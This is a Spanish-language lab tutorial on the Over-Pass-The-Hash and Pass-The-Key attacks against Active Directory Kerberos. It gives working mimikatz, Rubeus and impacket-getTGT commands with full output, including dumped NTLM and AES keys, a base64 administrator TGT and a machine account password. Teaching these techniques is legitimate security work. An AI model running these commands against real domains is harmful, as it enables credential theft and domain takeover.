Over Pass-The-Hash - Pass-The-Key
Lo que se va a realizar en esta tecnica es que cuando se realiza una autenticacion de kerberos
este consulta en la clave privada
cifrada con un hash
del usuario que esta escrita en memoria ya para poder darle el Ticket
de servicio, pues esta tecnica consiste en sobreescribir esta parte de la memoria por el hash
que nosotros queramos poner ahi, para posteriormente poder obtener ese ticket
y podernos hacer pasar por dicho usuario del hash
que hayamos insertado en dicha memoria.
Vamos a utilizar mimikatz
en este caso, como hemos visto antes podremos obtener el hash
del usuario en las logon sessions
del proceso lsass
volcandolo con mimikatz
.
Y despues realizabamos la tecnica de pth
con el mimikatz
para obtener una shell como el usuario administrador
en cmd
, en la informacion que nos daba, que era algo asi:
user : Administrator
domain : corp.local
program : cmd.exe
impers. : no
NTLM : a87f3a337d73085c45f9416be5787d86
| PID 3448
| TID 3228
| LSA Process is now R/W
| LUID 0 ; 7674536 (00000000:00751aa8)
\_ msv1_0 - data copy @ 00000224E7C04E80 : OK !
\_ kerberos - data copy @ 00000224E7D777C8
\_ des_cbc_md4 -> null
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ *Password replace @ 00000224E7679D38 (32) -> null
Vemos en esta parte de aqui:
msv1_0 - data copy @ 00000224E7C04E80 : OK !
Que estaba sobreescribiendo en la direccion de memoria 00000224E7C04E80
del proceso lsass
el hash
que nosotros le habiamos pasado del administrador
mediante el paquete de autenticacion msv1_0
que se corresponde con el paquete de autenticacion NTLM
, pero si seguimos viendo, seguidamente veremos esto:
kerberos - data copy @ 00000224E7D777C8
Vemos que tambien nos esta sobreescribiendo la direccion de memoria 00000224E7D777C8
donde esta el hash
que se almacena de la autenticacion de kerberos
por nuestro hash
que hemos metido con mimikatz
pudiendo realizar asi tambien acciones respecto al dominio
.
Por ejemplo, si nosotros ponemos esto, cuando obtenermos el cmd
autenticados como el administrador
en los 2 protocolos:
dir \\DC01\c$
Veremos que si nos deja listar ya que sobreescribimos nuestro hash
tambien en el de kerberos
que es el que se encarga del dominio
en estos casos de autenticacion frente a un dominio
y si lo hicieramos con una IP
seria mediante la autenticacion NTLM
.
Con Rubeus.exe
podremos solicitar un TGT
como el usuario Administrador
con el hash NTLM
que obtuvimos anteriormente, para que nos lo proporcione el mismo kerberos
.
Abrimos una PowerShell
como administrador
local:
cd C:\Users\empleado1\Desktop\Rubeus-master\Rubeus\bin\Debug
.\Rubeus.exe asktgt /domain:corp.local /user:Administrator /rc4:a87f3a337d73085c45f9416be5787d86 /ptt
Info:
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.2
[*] Action: Ask TGT
[*] Using rc4_hmac hash: a87f3a337d73085c45f9416be5787d86
[*] Building AS-REQ (w/ preauth) for: 'corp.local\Administrator'
[*] Using domain controller: 192.168.5.5:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFGDCCBRSgAwIBBaEDAgEWooIELjCCBCphggQmMIIEIqADAgEFoQwbCkNPUlAuTE9DQUyiHzAdoAMC
AQKhFjAUGwZrcmJ0Z3QbCmNvcnAubG9jYWyjggPqMIID5qADAgESoQMCAQKiggPYBIID1GfEEWb8Ql2n
gZfBjSKd0U9o/R0qQx0h/6/GQIenH+7CdaaYZbuyf6EXaFWMtQtUowETn7/ipVO7kS9lfbLtXHIt1isV
a22TXTycnql6DLgRL0Rqpk/1c+Xycj3kT33UB99icw8OtxB6xND0+VDSGRyjMDQYp8x+HAsZ7HN7GZSg
iQPHbQ57fO7+Re1xRNy6O7a611AFHP9IMhULUtLNxhc49FQIo/AZHDG0JKSEtQ0vbhA4ZWuLYvxiGYZM
tBB7tirNY2d6rP1VAObTmZ2XgbrXnGqIfKwdzBZfS9ZIDxuFMHfgnOolXboCrYlyNcn5XZnMBCcQ0m3C
D0ElH+mHElFjSUCJ8goRZoZe8pL6nT1XGNsaHFrlOPYZ0QQCkcX7huwoSCdwCTNWPtm2Hm5uAU0GN3As
FiB3nHrCNGwoq5ZEbhvSWU48ElAF5UWghjqjGXyfgtwbnUht0vFNG0apgDN3hrvUUl/SGmogagDr27Mr
LXJqhY6pYHWJLRY4FPhHf7hheV2rrTjq0vWJMLZZHYK23825oPaLMsuRBbUvoBOFNscxTnJgvK55CueC
deV4D+Z9cQx6uap/pU1J11eOGFyxqr0kt3eLjK4xLLpmcViuntoQ+mhPgDSqs0STzyPnRfJBsjpgKKOn
qbwCOh1p7j/UmBz/inaOBpt9vg/VYWwHcip3u4rql2pZjqOodxTOn/Lyg+vddCLYK8hjxfUQc3mW3H3P
9FSH+r0MW7KWwep1meKGTzjn4HcpMfYPh1+nZ0DPwyyPIExXFZbPKeh2k8Ie9IXTDpUtrmWRlvoX9cos
SLUEoaUDq8Ylccy8GT2l1NJQZqf9rVM6LNuVlxG4aLAUACzHp/D1tu2qs2h77/ZiImQ4Ld0Lgb6zcWzm
gj3g/Kpr9XUvlOHR3u50fIA2CLUjFHC5SPpWBpwsPSiydfowhE4lGOKE6NIOcjWhU4jtW6b7sL5oGhSs
OiPWqYNyF7VvLUAXv2P6D6sKs/fQBjgYvgouCESIUfIBsCZVESUWCH9PbY26Cn+5DxqQeWg03h0Am8S+
SOLByiKVQODj8xFxM9ZnXiLyEdlFfXSsfutV+RGplLlHfYL4dzL9DrNS0hdeWLF3WAfJA9YYTMg41zJQ
vr35xj3dJJ/lwCgtgwO3wY31i+GaC0Yz6IzCg2R4B/133+XqC/URMssbvEbO4I83496QoYJ+lx5A357C
Vpfl0v85oAZSEuGGuBild2M88hFds4ho++5dvLbdH6DoNZoGE4mX/OxkVDSyWGkNcGi08bLEBGbr8uQ5
JpG8a2ZpJL0pmvg4o4HVMIHSoAMCAQCigcoEgcd9gcQwgcGggb4wgbswgbigGzAZoAMCARehEgQQcG/p
D+0SN9AsGx9DRxq8qaEMGwpDT1JQLkxPQ0FMohowGKADAgEBoREwDxsNQWRtaW5pc3RyYXRvcqMHAwUA
QOEAAKURGA8yMDI1MDEyMTA5MTcyMFqmERgPMjAyNTAxMjExOTE3MjBapxEYDzIwMjUwMTI4MDkxNzIw
WqgMGwpDT1JQLkxPQ0FMqR8wHaADAgECoRYwFBsGa3JidGd0Gwpjb3JwLmxvY2Fs
[+] Ticket successfully imported!
ServiceName : krbtgt/corp.local
ServiceRealm : CORP.LOCAL
UserName : Administrator (NT_PRINCIPAL)
UserRealm : CORP.LOCAL
StartTime : 21/01/2025 10:17:20
EndTime : 21/01/2025 20:17:20
RenewTill : 28/01/2025 10:17:20
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : cG/pD+0SN9AsGx9DRxq8qQ==
ASREP (key) : A87F3A337D73085C45F9416BE5787D86
Y vemos que hemos obtenido perfectamente el TGT
del usuario Administrador
.
Todo este proceso se llama Over PTH
por que estamos cogiendo el hash NTLM
y lo utilizamos primero en el protocolo de autenticacion NTLM
que es donde debe utilizarse, y hacemos un over
lo volvemos a utilizar en este caso para el protocolo de autenticacion kerberos
Nosotros podremos listar de la misma forma que lo hacemos con los hashes NTLM
las claves que estan inyectadas en memoria de kerberos
con la herramienta mimikatz
:
Ejecutaremos mimikatz
:
sekurlsa::
Nos aparecera el help
del comando y nos interesaran estas opciones:
tickets - List Kerberos tickets
ekeys - List Kerberos Encryption Keys
Por lo que haremos lo siguiente:
sekurlsa::ekeys
Info:
Authentication Id : 0 ; 5869195 (00000000:00598e8b)
Session : Interactive from 0
User Name : Administrator
Domain : CORP
Logon Server : DC01
Logon Time : 21/01/2025 10:28:20
SID : S-1-5-21-3352250647-938130414-2449934813-500
* Username : Administrator
* Domain : CORP.LOCAL
* Password : (null)
* Key List :
des_cbc_md4 db7e98b663293b6af815f7c70cc8b33ca68cb4b01039b768e24c1823fdf762cd
des_cbc_md4 a87f3a337d73085c45f9416be5787d86
des_cbc_md4 a87f3a337d73085c45f9416be5787d86
des_cbc_md4 a87f3a337d73085c45f9416be5787d86
des_cbc_md4 a87f3a337d73085c45f9416be5787d86
des_cbc_md4 a87f3a337d73085c45f9416be5787d86
Authentication Id : 0 ; 481707 (00000000:000759ab)
Session : Interactive from 1
User Name : empleado1
Domain : CORP
Logon Server : DC01
Logon Time : 21/01/2025 9:14:40
SID : S-1-5-21-3352250647-938130414-2449934813-1104
* Username : empleado1
* Domain : CORP.LOCAL
* Password : (null)
* Key List :
des_cbc_md4 0fb09c66d747b41162bc91719f4131179a0203c2152bd3ea96ef1a394f981775
des_cbc_md4 1791df33b45987df23e4fe6c57ea6de7
des_cbc_md4 1791df33b45987df23e4fe6c57ea6de7
des_cbc_md4 1791df33b45987df23e4fe6c57ea6de7
des_cbc_md4 1791df33b45987df23e4fe6c57ea6de7
des_cbc_md4 1791df33b45987df23e4fe6c57ea6de7
Authentication Id : 0 ; 76456 (00000000:00012aa8)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 21/01/2025 9:14:18
SID : S-1-5-90-0-1
* Username : WS01$
* Domain : corp.local
* Password : W2UkIN'=^U\uRLwnNQE<-f]K_v3rD5"'uhN0A=$lN"Wuekd4JVo>l_lP\]'6w,)3^]O^QV'.28)OxQAI,:%_hr]84%Ih"dEor\c-"_/oegr"_alxGdYbwwY_
* Key List :
des_cbc_md4 b459ebc8222bf5569aeaf1e80cfaadd6acdec1aeeb9d50b068d37cb8883c70f5
des_cbc_md4 810f872d2ccb9f2dae00f095f34296aa
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
Authentication Id : 0 ; 76424 (00000000:00012a88)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 21/01/2025 9:14:18
SID : S-1-5-90-0-1
* Username : WS01$
* Domain : corp.local
* Password : W2UkIN'=^U\uRLwnNQE<-f]K_v3rD5"'uhN0A=$lN"Wuekd4JVo>l_lP\]'6w,)3^]O^QV'.28)OxQAI,:%_hr]84%Ih"dEor\c-"_/oegr"_alxGdYbwwY_
* Key List :
des_cbc_md4 b459ebc8222bf5569aeaf1e80cfaadd6acdec1aeeb9d50b068d37cb8883c70f5
des_cbc_md4 810f872d2ccb9f2dae00f095f34296aa
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : WS01$
Domain : CORP
Logon Server : (null)
Logon Time : 21/01/2025 9:14:18
SID : S-1-5-20
* Username : ws01$
* Domain : CORP.LOCAL
* Password : (null)
* Key List :
des_cbc_md4 9a9fc7447f8fa5521eeef5af175be7af2189392bc0d56f2e7d41e4c15cdad294
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
Authentication Id : 0 ; 53105 (00000000:0000cf71)
Session : Interactive from 1
User Name : UMFD-1
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 21/01/2025 9:14:17
SID : S-1-5-96-0-1
* Username : WS01$
* Domain : corp.local
* Password : W2UkIN'=^U\uRLwnNQE<-f]K_v3rD5"'uhN0A=$lN"Wuekd4JVo>l_lP\]'6w,)3^]O^QV'.28)OxQAI,:%_hr]84%Ih"dEor\c-"_/oegr"_alxGdYbwwY_
* Key List :
des_cbc_md4 b459ebc8222bf5569aeaf1e80cfaadd6acdec1aeeb9d50b068d37cb8883c70f5
des_cbc_md4 810f872d2ccb9f2dae00f095f34296aa
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
Authentication Id : 0 ; 53092 (00000000:0000cf64)
Session : Interactive from 0
User Name : UMFD-0
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 21/01/2025 9:14:17
SID : S-1-5-96-0-0
* Username : WS01$
* Domain : corp.local
* Password : W2UkIN'=^U\uRLwnNQE<-f]K_v3rD5"'uhN0A=$lN"Wuekd4JVo>l_lP\]'6w,)3^]O^QV'.28)OxQAI,:%_hr]84%Ih"dEor\c-"_/oegr"_alxGdYbwwY_
* Key List :
des_cbc_md4 b459ebc8222bf5569aeaf1e80cfaadd6acdec1aeeb9d50b068d37cb8883c70f5
des_cbc_md4 810f872d2ccb9f2dae00f095f34296aa
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : WS01$
Domain : CORP
Logon Server : (null)
Logon Time : 21/01/2025 9:14:17
SID : S-1-5-18
* Username : ws01$
* Domain : CORP.LOCAL
* Password : (null)
* Key List :
des_cbc_md4 9a9fc7447f8fa5521eeef5af175be7af2189392bc0d56f2e7d41e4c15cdad294
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
Aqui veremos las claves
de cada uno de los usuarios que estan inyectadas en memoria pero del protocolo kerberos
.
Aqui estamos viendo que nos muestra el mismo hash
que cuando volcabamos el NTLM
del administrador
pero aunque ponga des_cbc_md4
lo estamos viendo en rc4
como antes estabamos forzando la autenticacion con Rubeus
a kerberos
y el primero de todos que es el mas largo esta cifrado el hash
original que vemos abajo con el cifrado AES-256
que es el que utiliza por defecto kerberos
ya que es mas seguro, pero los 2 tipos de hashes
los soporta kerberos
como hemos visto antes.
Si por ejemplo queremos utilizar el hash
AES-256
para la herramienta Rubeus.exe
lo haremos de la siguiente forma:
.\Rubeus.exe asktgt /domain:corp.local /user:Administrator /aes256:db7e98b663293b6af815f7c70cc8b33ca68cb4b01039b768e24c1823fdf762cd /ptt
Y esto nos volcara la misma informacion que cuando utilizamos el rc4
con el hash NTLM
.
Pero esta tecnica que cabamos de utilizar con el hash
de kerberos
del AES-256
se le llama Pass-The-Key
.
Si queremos obtener el TGT
del administrador
como hemos echo con Rubeus
pero en kali
lo podremos hacer de la siguiente forma:
nano /etc/hosts
#Dentro del nano
192.168.5.5 corp.local
Lo guardamos y ejecutamos lo siguiente:
impacket-getTGT corp.local/Administrator -hashes :a87f3a337d73085c45f9416be5787d86
Info:
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in Administrator.ccache
Vemos que se guardo correctamente, ahora si lo leemos nos apareceran caractares raros, pero es por que nos ha volcado el TGT
en un archivo directamente, en vez de por la pantalla.
Last updated